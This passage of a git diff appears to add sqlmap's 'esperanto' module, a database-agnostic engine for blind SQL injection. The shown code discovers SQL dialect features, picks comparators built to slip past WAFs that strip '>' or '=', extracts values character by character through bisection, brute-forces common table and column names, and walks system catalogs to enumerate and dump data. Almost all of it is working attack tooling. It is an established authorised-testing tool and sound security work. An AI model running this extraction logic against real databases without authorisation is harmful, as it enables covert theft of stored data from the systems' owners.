self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it") + + def _checkCompat(self): + # substring positions and the length count must be in the SAME unit, else + # the per-position walk desyncs on multibyte data + s, ln = self.dialect.substring, self.dialect.length + if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes": + # HARD strategy change (not just a warning): a byte-count length would drive the + # char-indexed substring walk PAST the end of a multibyte value. Discard it so + # length is derived from the char-based substring instead - same unit, no desync. + self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring") + self.dialect.length = None + + def _discoverBytelen(self): + # a *byte*-length fn - distinguished from char length with a multibyte char + # (a char-length fn would report 1). the char is built from its code (ASCII on + # the wire); if it can't be built, the atlas name is trusted on the ASCII check. + cf = self._codeCharTmpl() + mb = cf.format(code=0x20AC) if cf else None + for name, tmpl in _BYTELEN: + try: + if not self._ask("%s=2" % tmpl.format(expr="'AB'")): + continue + if mb and not self._ask("%s>=2" % tmpl.format(expr=mb)): + continue # counts chars, not bytes + except OracleUndecided: + continue + self.dialect.bytelen = Cap(name, tmpl) + return name + + # casts with no length bound - hex-framing a value through these can never truncate it; + # anything else may silently shorten a long value, so dump() verifies those cells at source + _UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max", + "cast_varchar_max", "cast_string")) + + def _discoverTextcast(self): + # a cast that stringifies a number: substr(cast(123),1,1)='1' and the + # negative sign survives (substr(cast(-42),1,1)='-') + for name, tmpl in _TEXTCAST: + c123, cneg = tmpl.format(expr="123"), tmpl.format(expr="-42") + if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \ + self._lenEquals(c123, 3) and \ + self._ask("%s='-'" % self._sub(cneg, 1, 1)): + self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS) + return name + + def _discoverCoalesce(self): + # COALESCE(NULL,'X') -> 'X'. whether empty stays empty is a *measured* + # property, not a requirement (on Oracle '' IS NULL, so it becomes 'X'). + for name, tmpl in _COALESCE: + g = lambda e, fb: tmpl.format(expr=e, fallback=fb) + if self._ask("%s='X'" % self._sub(g("NULL", "'X'"), 1, 1)): + empty_distinct = self._lenEquals(g("''", "'X'"), 0) + self.dialect.coalesce = Cap(name, tmpl, empty_distinct=empty_distinct) + return name + + def _discoverDual(self): + # the tableless-SELECT FROM suffix; a non-bare match is a family fingerprint + for name, frm in _DUAL: + if self._ask("(SELECT 1%s)=1" % frm): + self.dialect.dual = Cap(name, frm) + return name + + def _discoverConcat(self): + # test via substring of the joined result to dodge numeric-coercion + # false positives (MySQL 'a'+'b' -> 0, '||' -> logical OR, etc.) + for name, tmpl in _CONCAT: + joined = tmpl.format(a="'sq'", b="'lm'") + if self._ask("%s='l'" % self._sub(joined, 3, 1)) and \ + self._lenEquals(joined, 4): + self.dialect.concat = Cap(name, tmpl) + # function-style concat (CONCAT(a,b)) may be VARIADIC - a flat + # CONCAT(a,b,c,...) beats deeply nested CONCAT(CONCAT(...)) (smaller + # payload, less WAF/URL surface). operators (||/+) split() to "". + func = tmpl.split("(")[0] + if func: + try: + three = "%s('s','q','l')" % func + if self._ask("%s='q'" % self._sub(three, 2, 1)) and self._lenEquals(three, 3): + self.dialect.concat.props["variadic"] = func + except OracleUndecided: + pass + return name + self.dialect.concat = None + self.dialect.notes.append("no concatenation operator discovered") + + def _discoverCompare(self): + # 1) numeric code function - fast, unambiguous bisection + one = self._sub("'sqlmap'", 2, 1) # -> 'q' (code 113 / 0x71) + for name, tmpl in _CHARCODE: + code = tmpl.format(expr=one) + if self._ask("%s=113" % code) and not self._ask("%s=112" % code): + self.dialect.charcode = Cap(name, tmpl, semantics=self._charcodeSemantics(tmpl)) + self.dialect.compare = "code" + self.dialect.ordered = True + return "code:%s" % name + self.dialect.charcode = None + + # 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a + # code function (one compare per bisection) and recovers case under CI / + # locale collations. tried before hex because it's cheaper. + cf = self._codeCharTmpl() + for name, tmpl in _BINWRAP: + w = lambda s: tmpl.format(x=s) + if not (self._ask("%s>%s" % (w("'a'"), w("'A'"))) and + not self._ask("%s>%s" % (w("'A'"), w("'a'"))) and + not self._ask("%s=%s" % (w("'a'"), w("'A'")))): + continue + # BYTE-EXACT proof, not just case ORDER: a binary wrapper is used to certify EXACT + # values, so it must also distinguish TRAILING SPACES (most collations are PAD SPACE) + # and ACCENTS (many collations are accent-insensitive). One that folds either is + # ordered but NOT byte-exact -> skip it and fall through to hex, rather than promote a + # folded value (trailing-space or accent folding) to EXACT. + if self._ask("%s=%s" % (w("'a'"), w("'a '"))): # trailing-space insensitive + continue + # accent test needs a char constructor to build the accented probe. If we HAVE one and + # it folds -> skip (not byte-exact). If we DON'T (constructors blocked), accents are + # UNTESTABLE: keep the wrapper for ORDERING (char reads) but mark byte_exact=False, so + # it does NOT certify EXACT (an accent-insensitive wrapper would silently pass an accented char as its base letter). + byte_exact = False + if cf: + if self._ask("%s=%s" % (w(cf.format(code=0xE9)), w("'e'"))): # accent insensitive + continue + byte_exact = True + self.dialect.binwrap = Cap(name, tmpl, byte_exact=byte_exact) + self.dialect.compare = "collation" + self.dialect.ordered = True + if not byte_exact: + self.dialect.notes.append("binary wrapper accent-sensitivity untestable (no char " + "constructor) - used for ordering, not exactness") + return "collation:%s" % name + + # 3) hex/byte function - collation-independent, recovers letter case even + # under case-insensitive collations (the key fallback when code fns are + # filtered by a WAF) + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc is not None: # '' = usable, codec unknown (auto-detect) + self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None)) + self.dialect.compare = "hex" + self.dialect.ordered = True + return "hex:%s" % name + + # 4) direct string comparison - only trustworthy where the collation follows + # byte order (probe the ASCII case/range invariants first) + byteOrdered = (self._ask("'a'>'A'") and self._ask("'Z'<'a'") and self._ask("'0'<'A'")) + if byteOrdered and self._ask("%s>'p'" % one) and not self._ask("%s>'r'" % one): + self.dialect.compare = "ordinal" + self.dialect.ordered = True + return "ordinal" + + # 5) equality scan - case-correct only under a case-sensitive collation + if not self._ask("'a'='A'"): + self.dialect.compare = "equality" + return "equality" + + # 6) last resort: case-insensitive equality. letters recovered, CASE LOST + # (no code/hex function and a CI collation - a genuine hard limit) + self.dialect.compare = "equality-ci" + self.dialect.notes.append("case-insensitive collation and no code/hex function: letter case is not recoverable") + return "equality-ci" + + # STRICT-'>' semantic truth table across the signed domain. Two positive samples (2>1, + # !2>3) are NOT enough: a '>'->'>=' rewrite passes them but fails the equality boundary + # (2>2 must be FALSE) and would then read every count/length/code off by one. Each + # candidate must reproduce '>' at the equality boundary AND across zero and negatives. + _GT_TRUTH = ((2, 1, True), (2, 2, False), (2, 3, False), + (0, -1, True), (0, 0, False), (0, 1, False), + (-2, -3, True), (-2, -2, False), (-2, -1, False)) + + def _provesGt(self, render): + # render(a, b) -> SQL for "a > b"; the candidate is accepted only if it matches + # strict '>' on EVERY truth-table row (equality boundary + zero + negative domain). + try: + for a, b, want in self._GT_TRUTH: + if bool(self._ask(render(a, b))) != want: + return False + except OracleUndecided: + return False + return True + + def _discoverComparator(self): + # how to express "value > threshold" for bisection. A WAF that strips '<'/'>' + # (very common) would otherwise leave code-mode picking '>' and silently + # failing. Prefer '>'; else BETWEEN (ordered, no angle brackets); else fall + # to order-free IN() subset bisection which needs only '=' membership. + HUGE = 1 << 62 + try: + if self._provesGt(lambda a, b: "%d>%d" % (a, b)): + self._comparator = "gt" + elif self._provesGt(lambda a, b: "%d BETWEEN %d AND %d" % (a, b + 1, HUGE)): + self._comparator = "between" + self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") + elif self._discoverOperatorFreeComparator(): + # picked an ordered (log2) comparator that needs NO comparison operator - see below + pass + else: + self._comparator = "membership" + self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") + self._inOk = self._ask("2 IN (2,3)") and not self._ask("9 IN (2,3)") + except OracleUndecided: + pass # keep the safe defaults (gt / IN-ok) + + def _discoverOperatorFreeComparator(self): + # Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN): + # each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the + # comparison operators. Each must pass the FULL signed truth table (not a 3-point positive + # probe), so a candidate that can't represent the negative/zero domain (e.g. WIDTH_BUCKET + # with lo==hi at n=-1) is rejected instead of silently misreading signed values. + candidates = ( + ("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS + ("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered + ("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once) + ("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering + ("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle + ("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB + ) + for name, tmpl in candidates: + if self._provesGt(lambda a, b, _t=tmpl: _t.format(expr=a, n=b)): + self._comparator = name + self._cmpTemplate = tmpl + self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper()) + return True + return False + + def _charcodeSemantics(self, tmpl): + # ASCII-only ROUND-TRIP: build a char from its code, then read the code back. + # code(char(N))==N means extract-then-rebuild is faithful for N. no raw + # non-ASCII byte ever crosses the URL/app/DBMS encoding layers. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + code = lambda n: tmpl.format(expr=cf.format(code=n)) + try: + if not self._ask("%s=233" % code(0x00E9)): # U+00E9 round-trips (code(charfrom(0xE9))==0xE9) + return "unknown" + if not self._ask("%s=8364" % code(0x20AC)): # U+20AC does NOT (single-byte codepage can't represent it) + return "codepage" # single-byte codepage only + # a supplementary char proves full codepoint vs a UTF-16 code-unit fn + # (SQL Server UNICODE() returns the leading surrogate for U+1F642). + if self._ask("%s=128578" % code(0x1F642)): + return "codepoint" + if self._ask("%s=55357" % code(0x1F642)): # high surrogate + return "utf16_unit" + return "bmp_codepoint" # verified on BMP only + except OracleUndecided: + return "unknown" + + def _discoverCharfrom(self): + for name, tmpl in _CHARFROM: + if self._ask("%s='a'" % tmpl.format(code=97)) and \ + not self._ask("%s='b'" % tmpl.format(code=97)): + self.dialect.charfrom = Cap(name, tmpl) + return name + self.dialect.charfrom = None + + def _discoverCharset(self): + # ASK THE DB ITS DECLARED CHARSET - the strongest possible encoding signal, and one a + # boolean oracle can read directly (a huge advantage over passive byte-guessing, which + # can't tell utf-8 e-acute from cp1252 mojibake). The first family probe that resolves gives a + # name; map it (quirk-aware: MySQL latin1==cp1252) to a Python codec used as the + # authoritative hex decoder. Unproven -> None -> non-ASCII text stays non-exact. + with self._probePhase(): # a wrong-family charset expr errors -> skip + for expr in _CHARSET_PROBES: + try: + if not self._hasChars(expr): + continue + res = self.extractResult(expr, limit=64) + except OracleUndecided: + continue + if res.value and res.exact: + codec = _charsetCodec(res.value) + if codec: + self.dialect.charset = codec + self.dialect.notes.append("declared charset %r -> %s" % (res.value, codec)) + return codec + return None + + def _discoverIdentity(self): + for kind, candidates in sorted(_IDENTITY.items()): + for expr in candidates: + # a valid identity expression has non-zero length; invalid -> error -> false + if self._hasChars(expr): + self.dialect.identity[kind] = expr + break + + def _discoverCatalog(self): + for table, family, enum in _CATALOGS: + if self._exists(table): + self.dialect.catalog = table + self.dialect.family = family + self.dialect.catalogEnum = enum + return table diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py new file mode 100644 index 00000000000..7e902dd2faf --- /dev/null +++ b/extra/esperanto/engine.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _FREQ_ORDER +from .atlas import _hardWarnings +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _unichr +from .records import Dialect +from .records import ExtractResult +from .records import OracleUndecided +from .oracle import _OracleCore +from .discovery import _Discovery +from .extraction import _Extraction +from .enumeration import _Enumeration + + +class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration): + """DBMS-agnostic blind extractor. Behaviour lives in four mixins by concern + (oracle / discovery / extraction / enumeration); this class only holds + construction + the query counter.""" + + def __init__(self, oracle, verbose=False, maxlen=4096, retries=1, quorum=1, + maxbytes=None, max_queries=None): + """oracle: callable(condition_str) -> bool. + quorum>1 turns on majority voting (2*quorum-1 samples) so a noisy or + intermittently-erroring oracle can't flip a single probe and corrupt a + result; retries re-attempts a raised call before it counts as an error. + maxlen caps text characters; maxbytes separately caps byte/hex recovery + (default 4*maxlen); max_queries is an optional hard oracle-call ceiling.""" + if not callable(oracle): + raise TypeError("oracle must be callable") + self.oracle = oracle + self.verbose = verbose + self.maxlen = maxlen + self.maxbytes = maxlen * 4 if maxbytes is None else maxbytes + self.retries = retries + self.quorum = max(1, quorum) + self.max_queries = max_queries + self.dialect = Dialect() + self._queries = 0 + self._errors = 0 + self._hexProbed = False + self._hexOrdered = None + self._backslashEscape = None + self._codeTmpl = None + self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership" + self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n} + self._inOk = True # IN(...) usable (order-free subset bisection) + self._lastTruncated = False + self._discovered = False + self._nonExactNamesNoted = False # one-shot: enumerated-identifier-ambiguity note fired + self._castPreserves = None # cached: does the text cast preserve a canary accent? + self._probing = False # True while laddering CANDIDATE rungs (discovery or lazy _ensure*): an + # undecidable probe there = "rung unusable" -> False; elsewhere (reading + # committed data) an undecidable probe stays undecided so it degrades loudly + self._progress = None # optional host callback(str) for live per-VALUE feedback + self._charProgress = None # optional host callback(partial, total) for live per-CHARACTER + # feedback DURING a long extraction (so the user sees it working) + + @property + def queryCount(self): + return self._queries + + +def hostExtract(oracle, strategy, expr, maxlen=4096): + """Reference HOST inference loop driven ONLY by an InferenceStrategy + oracle. + + Proof that the strategy is a sufficient hand-off: it reproduces char-by-char + extraction with zero dependency on Esperanto's own retrieval code - what sqlmap's + `bisection()`/`queryOutputLength()` would do instead. EVERY numeric compare renders + through strategy.renderGt (the discovered comparator), so it survives a WAF that + strips '>' exactly as the engine does, and length is measured via the length fn OR, + when there is none, derived from the substring's end. + + It covers the char-comparison modes (code / collation / ordinal / equality) with an + ordered comparator. Pattern-only (LIKE floor) and pure membership (no ordered + comparator) are NOT driven by this reference - it raises rather than silently + emitting an operator the dialect declared unusable or returning wrong data. + + Returns an ExtractResult (value / exact / truncated / integrity), NOT a bare string: + an undecided host observation degrades to a FAILED result (never a manufactured bit), + a value longer than maxlen is flagged TRUNCATED, and a code-mode value read through an + UNPROVEN char-code fn is whole-value verified so a lossy code fn is caught (integrity + FAILED), exactly as the native engine does - so this stays a faithful sufficiency proof.""" + HUGE = 1 << 62 + + def ask(cond): + # STRICT tri-state, like _OracleCore._ask: only a real bool is an observation; anything + # else (None from a transport/undecided oracle) is NOT coerced to False. + r = oracle(cond) + if r is True or r is False: + return r + raise OracleUndecided("host oracle undecided: %s" % cond) + + if strategy.compare_mode == "like" or (strategy.substring is None and strategy.length is None): + raise NotImplementedError("hostExtract: pattern-only extraction is not driven by this reference") + if strategy.comparator == "membership": + raise NotImplementedError("hostExtract: an ordered comparator is required (membership-only unsupported)") + + def _run(): + if strategy.length is not None: + L = strategy.renderLength(expr) + if not ask(strategy.renderGt(L, -1, HUGE)): # L >= 0: defined and non-negative + is_null = ask(strategy.renderIsNull(expr)) # ask ONCE (a noisy oracle could disagree twice) + return ExtractResult(None, is_null=is_null, complete=is_null) + if maxlen <= 0: # non-empty but capped to nothing + return ExtractResult("", complete=False, truncated=True) + if not ask(strategy.renderGt(L, 0, HUGE)): # not L > 0 -> empty string + return ExtractResult("", complete=True) + lo, hi = 1, min(8, maxlen) + while hi < maxlen and ask(strategy.renderGt(L, hi, HUGE)): + lo, hi = hi + 1, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi) // 2 + lo, hi = (mid + 1, hi) if ask(strategy.renderGt(L, mid, HUGE)) else (lo, mid) + length = lo + truncated = length >= maxlen and ask(strategy.renderGt(L, maxlen, HUGE)) # a char past the cap + # FINAL EQUALITY (as the native integer reader does): the comparator is proven only on + # literals; a backend that rewrites '>' to '>=' for a computed operand (LENGTH(..)>n) + # converges off-by-one. Confirm the length directly, else fail closed. + if not truncated and not ask("(%s)=%d" % (L, length)): + raise OracleUndecided("host length failed final equality") + else: # no length fn: derive from substring end + exists = lambda n: ask(strategy.renderCharExists(expr, n)) + if not exists(1): + is_null = ask(strategy.renderIsNull(expr)) # ask ONCE + return ExtractResult(None, is_null=is_null, complete=is_null) + if maxlen <= 0: # non-empty but capped to nothing + return ExtractResult("", complete=False, truncated=True) + lo, hi = 1, min(8, maxlen) + while hi < maxlen and exists(hi): + lo, hi = hi, min(hi * 2, maxlen) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if exists(mid) else (lo, mid - 1) + length = lo + truncated = length >= maxlen and exists(maxlen + 1) + + def read(pos): + mode = strategy.compare_mode + if mode == "code": + code = strategy.renderCode(expr, pos) + top = 0x10FFFF + for cap in (127, 255, 0xFFFF, 0x10FFFF): + if not ask(strategy.renderGt(code, cap, HUGE)): + top = cap + break + a, b = 0, top + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderGt(code, m, HUGE)) else (a, m) + # FINAL EQUALITY on the code: comparator semantics are INDEPENDENT of the code + # fn's semantics, so a '>'->'>=' rewrite on the code expression converges off-by- + # one even when the code fn is codepoint-faithful. Confirm directly, else fail. + if not ask("(%s)=%d" % (code, a)): + raise OracleUndecided("host code failed final equality") + return _unichr(a) + if mode in ("collation", "ordinal"): + cs = _PRINTABLE_SORTED + a, b = 0, len(cs) - 1 + while a < b: + m = (a + b) // 2 + a, b = (m + 1, b) if ask(strategy.renderCharCmp(expr, pos, cs[m], ">")) else (a, m) + return cs[a] + for ch in _FREQ_ORDER: # equality scan + if ask(strategy.renderCharCmp(expr, pos, ch, "=")): + return ch + return _REPL + + value = "".join(read(i) for i in range(1, length + 1)) + warns = ["contains unresolved char"] if _REPL in value else [] + if strategy.compare_mode == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + # WHOLE-VALUE verification: mirrors the native verify. Run it regardless of code-point + # semantics - the code fn being codepoint-faithful says nothing about the COMPARATOR (a + # rewritten '>' still corrupts a codepoint-faithful read), so the value must be confirmed + # against the source rather than trusted because the code fn is faithful. + needs_verify = not truncated and _REPL not in value + if needs_verify and not ask(strategy.renderExactEq(expr, strategy.lit(value))): + warns.append("whole-value verification failed") + return ExtractResult(value, complete=False, truncated=truncated, warnings=warns) + # mirror the native EXACT gate: without a proven byte-exact witness (hex / binary / + # codepoint) the value is WHOLE_BUT_AMBIGUOUS, never EXACT - renderExactEq falls back to + # collation-dependent plain '=' which cannot certify byte-exactness. + if value and not truncated and _REPL not in value and strategy.exact_witness is None: + warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness") + return ExtractResult(value, complete=not truncated and not _hardWarnings(warns), + truncated=truncated, warnings=warns) + + try: + return _run() + except OracleUndecided: + return ExtractResult(None, complete=False, warnings=["host oracle undecided"]) diff --git a/extra/esperanto/enumeration.py b/extra/esperanto/enumeration.py new file mode 100644 index 00000000000..ef6591efe90 --- /dev/null +++ b/extra/esperanto/enumeration.py @@ -0,0 +1,906 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _BULK_AGG +from .atlas import _COLUMN_SPECS +from .atlas import _HEX_PAYLOAD_CODES +from .atlas import _IDENT_QUOTE +from .atlas import _KEY_SPECS +from .atlas import _REPL +from .atlas import _ROWID +from .atlas import _ROWID_LITBOUND +from .records import BulkResult +from .records import Cap +from .records import InferenceStrategy +from .records import OracleUndecided +from .wordlist import commonColumns +from .wordlist import commonTables + +_BRUTE_MAX_TRIES = 500 # cap existence-probes so a slow oracle can't run away +_MEMBERSHIP_PAGING_BUDGET = 8192 # max rendered NOT IN() fragment before stopping (partial) - it grows per row +# pseudo-columns that COUNT() accepts but that aren't real columns (would poison a dump) +_PSEUDO_COLUMNS = frozenset(("rowid", "_rowid_", "oid", "ctid", "rownum", "xmin", "xmax")) + + +class _Enumeration(object): + """_Enumeration + + catalog walking + data dump: enumerate / columns / dump / bulk + row selection. + When the catalog is unreadable/unknown (permission wall, exotic engine, CTF), the + table/column listings fall back to brute-forcing common names (bruteTables / + bruteColumns) so extraction works with zero schema knowledge.""" + + def enumerate(self, kind="table", limit=10, schema=None): + """Bounded enumeration by keyset (MIN(name) WHERE name>'prev') - no dialect + row limiter needed, and cost scales with `limit`, not catalog size. `schema` + scopes tables to one database. Falls back to brute-forcing common table names + when the catalog is unavailable/empty. For a full dump prefer enumerateBulk.""" + names = None + if kind in self.dialect.catalogEnum and self._canPage: + names = self.enumerateKeyset(kind, limit, schema) + if not names and kind == "table": + names = self.bruteTables(limit, schema) # no catalog/paging -> guess the usual names + return names + + @property + def _canPage(self): + # keyset enumeration needs an ordered comparator or IN() (NOT IN paging); with + # neither, the catalog walk can't advance past the first row -> use brute-force + return self._comparator in ("gt", "between") or self._inOk + + def bruteTables(self, limit=50, schema=None): + """No/unreadable catalog: discover tables by existence-probing common names + (COUNT(*) succeeds -> exists; errors -> the oracle reads False). The 'know + nothing about the schema' fallback, akin to sqlmap's --common-tables.""" + self.dialect.notes.append("catalog unavailable - brute-forcing common table names") + found, tries = [], 0 + for name in commonTables(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + tries += 1 + qname = self.quoteIdent(name) + if schema is not None: + qname = "%s.%s" % (self.quoteIdent(schema), qname) + try: + if self._exists(qname): + found.append(name) + self._emit(name) + except OracleUndecided: + break # oracle wall - stop, keep what we have + return found + + def bruteColumns(self, table, schema=None, limit=100): + """No/unreadable column catalog: discover columns of `table` by existence- + probing common names (COUNT(col) succeeds -> the column exists).""" + qtable = self.quoteIdent(table) + if schema is not None: + qtable = "%s.%s" % (self.quoteIdent(schema), qtable) + found, tries = [], 0 + for col in commonColumns(): + if len(found) >= limit or tries >= _BRUTE_MAX_TRIES: + break + if col.lower() in _PSEUDO_COLUMNS: # rowid/ctid/oid... are queryable but not real columns + continue + tries += 1 + try: + # probe the column BARE but ALIAS-QUALIFIED (`e.col`): a nonexistent bare + # column errors (a double-quoted unknown is a STRING LITERAL on SQLite -> would + # pass every fake name), and the alias stops a candidate that is really a + # KEYWORD/FUNCTION (e.g. `user` -> USER) from resolving. COUNT-free (WAF-safe). + if self._exists(qtable, col, alias="e"): + found.append(col) + self._emit(col) + except OracleUndecided: + break + if found: + self.dialect.notes.append("column catalog unavailable - brute-forced %d common column names" % len(found)) + return found + + def _source(self, kind, schema=None): + col, src, filt = self.dialect.catalogEnum[kind] + clauses = [filt] if filt else [] + if schema is not None and "schema" in self.dialect.catalogEnum: + scol, ssrc = self.dialect.catalogEnum["schema"][0], self.dialect.catalogEnum["schema"][1] + # the scope column is only valid IN ITS OWN source. ANSI/PG/Oracle co-locate + # table+schema in one catalog view; MSSQL splits them (sys.tables vs sys.schemas) + # so `name=` on sys.tables would match table NAMES - skip it, don't corrupt. + if ssrc == src: + clauses.append("%s=%s" % (scol, self.buildLiteral(schema))) + return col, src, ((" WHERE " + " AND ".join(clauses)) if clauses else "") + + def enumerateKeyset(self, kind, limit=10, schema=None): + if kind not in self.dialect.catalogEnum: + return None + col, src, where = self._source(kind, schema) + return self._keysetWalk(col, src, where, limit) + + def _keysetWalk(self, col, src, where, limit): + # page by keyset: MIN(name) then MIN(name) WHERE name > prev. no dialect row + # limiter needed. the FIRST query is unbounded (a space/'' seed would skip + # identifiers sorting below it). the DB does the ordering in its own + # collation; Python only tests EXACT repetition (collation-invariant) - never + # a Python `<=` ordering test. + conj = " AND " if where else " WHERE " + names, prev = [], None + while len(names) < limit: + if prev is None: + expr = "(SELECT MIN(%s) FROM %s%s)" % (col, src, where) + else: + beyond = self._beyondSql(col, prev, "text", seen=names) + if beyond is None: # no ordered comparator, no IN -> can't page + self.dialect.notes.append("enumeration stopped: no way to page (no ordered comparator, no IN)") + break + expr = "(SELECT MIN(%s) FROM %s%s%s%s)" % (col, src, where, conj, beyond) + # a best-effort walk must DEGRADE, not crash: an undecided/over-budget + # probe (permission or charset wall) stops the listing with what we have + try: + if not self._ask("%s IS NOT NULL" % expr): + break + res = self.extractResult(expr) # complete-or-stop: a partial name is a bad keyset bound + except OracleUndecided: + self.dialect.notes.append("enumeration stopped early (oracle undecided - permission/charset wall)") + break + if not res.complete: # incomplete (truncated / unresolved / unverified) name is + self.dialect.notes.append("enumeration stopped: incomplete identifier read (unsafe keyset bound)") + break # an unsafe keyset bound - a soft case/accent warning still passes + name = res.value + if not name: + break + if name in names: + # revisiting an already-listed name (not just the immediate predecessor) means the + # paging bound and the recovered spelling disagree - e.g. the keyset compare and + # the char read resolve under DIFFERENT collations, so the walk cycles f,e,f,e... + # Stop with a PARTIAL, de-duplicated list rather than loop or emit duplicates. + self.dialect.notes.append("enumeration stopped: identifier %r revisited " + "(paging/read-back collation mismatch) - list may be partial" % name) + break + if not res.exact and not self._nonExactNamesNoted: + # the name paged correctly (the walk uses the engine's OWN collation, so a + # case/accent-ambiguous bound is self-consistent) but its exact spelling is NOT + # proven - flag it, since a caller may reuse the name as an exact SQL identifier. + self._nonExactNamesNoted = True + self.dialect.notes.append("enumerated identifiers are case/accent-approximate " + "(no byte-exact primitive) - exact spelling not proven") + names.append(name) + self._emit(name) # live feedback per discovered name + if _REPL in name: + # an unrecoverable char in the name can't form a reliable keyset bound; + # stop rather than loop on a corrupt (or repeating) boundary + self.dialect.notes.append("enumeration stopped: %r holds an unrecoverable character" % name) + break + prev = name + return names + + def _beyondSql(self, expr, prev, unit, seen=None, boundfn=None): + # SQL fragment picking the next un-taken row for keyset paging, honoring the + # discovered comparator so paging survives a blocked '>'. '>' pages by "sorts + # after prev"; a blocked '>' keeps numeric keys ordered via BETWEEN, and pages + # text keys order-free by "key NOT IN (already-seen)" (needs only IN, and dodges + # any collation/sentinel guesswork). Returns None when none of these is possible + # - the caller then stops with the rows it already has. + lit = boundfn or self.buildLiteral # rowids may need a quoted literal (see _ROWID_LITBOUND) + if self._comparator == "gt": + bound = prev if unit == "int" else lit(prev) + return "%s>%s" % (expr, bound) + if self._comparator == "between" and unit == "int": + return "%s BETWEEN %s+1 AND 9223372036854775807" % (expr, prev) + if self._cmpTemplate is not None and unit == "int": # operator-free ordered rung + return self._cmpTemplate.format(expr=expr, n=prev) # "expr > prev" without '>' + if self._inOk and seen: + lits = ",".join((str(k) if unit == "int" else lit(k)) for k in seen) + frag = "%s NOT IN (%s)" % (expr, lits) + # NOT IN(all-seen) grows every row (quadratic payload / WAF surface). Beyond a + # rendered-size budget, stop with a PARTIAL result + note rather than emitting an + # ever-larger request (and never let one un-renderable literal poison the walk). + if len(frag) > _MEMBERSHIP_PAGING_BUDGET: + self.dialect.notes.append("membership paging stopped: NOT IN() payload budget exceeded (partial)") + return None + return frag + return None + + def hasTable(self, table, schema=None): + """Does `table` (optionally in `schema`) resolve? COUNT-free existence.""" + q = self.quoteIdent(table) + if schema: + q = "%s.%s" % (self.quoteIdent(schema), q) + try: + return self._exists(q) + except OracleUndecided: + return False + + def tableSchema(self, table): + """Resolve which schema a table actually lives in, from the catalog. PG-family + tables are commonly in 'public' while current_schema() is the login user's own + (empty) schema, so scoping to the current schema misses them. Returns the schema + name, or None if the catalog has no schema concept or the table isn't found.""" + ce = self.dialect.catalogEnum + if "schema" not in ce or "table" not in ce: + return None + schemacol = ce["schema"][0] + namecol, source = ce["table"][0], ce["table"][1] + if ce["schema"][1] != source: # schema lives in a SEPARATE catalog view (MSSQL + return None # sys.schemas) - can't co-query it against sys.tables + # prefer a non-system schema (a system table could share the name) + excl = ("pg_catalog", "information_schema", "sys", "mysql", "performance_schema", + "SYS", "INFORMATION_SCHEMA", "pg_toast") + notsys = " AND %s NOT IN (%s)" % (schemacol, ",".join(self.buildLiteral(s) for s in excl)) + for tail in (notsys, ""): + expr = "(SELECT MIN(%s) FROM %s WHERE %s=%s%s)" % (schemacol, source, namecol, self.buildLiteral(table), tail) + try: + if self._ask("%s IS NOT NULL" % expr): + res = self.extractResult(expr) # a SCHEMA NAME becomes a qualifier -> require EXACT + if res.exact and res.value: + return res.value + except OracleUndecided: + break + return None + + def quoteIdent(self, name): + """Quote a target-supplied identifier (table/column) so reserved words, + spaces, dots, or embedded quote chars are referenced safely. A name is an + IDENTIFIER, never a raw SQL fragment. Falls back to the bare name if no + quoting style was discovered.""" + q = self.dialect.identQuote + if not q: + return name + return "%s%s%s" % (q[0], name.replace(q[1], q[1] * 2), q[1]) + + def qualify(self, table, schema=None): + """The quoted, optionally schema-scoped table reference used for a dump - the SAME + expression for count, key discovery, and row retrieval, so a non-default schema can't + make the count query hit a different (unqualified) table than the dump.""" + qt = self.quoteIdent(table) + return "%s.%s" % (self.quoteIdent(schema), qt) if schema is not None else qt + + def _ensureQuoting(self, table): + # discover the identifier-quote style using the (known-present) table: + # the wrong quote char makes SELECT ... FROM error -> reject + if self.dialect.identQuote is not None or self.dialect.identQuote is False: + return self.dialect.identQuote or None + with self._probePhase(): # a wrong quote char makes FROM error -> "unusable", not undecided + for open_q, close_q in _IDENT_QUOTE: + quoted = "%s%s%s" % (open_q, table.replace(close_q, close_q * 2), close_q) + if self._exists(quoted): + self.dialect.identQuote = (open_q, close_q) + return self.dialect.identQuote + self.dialect.identQuote = False # sentinel: 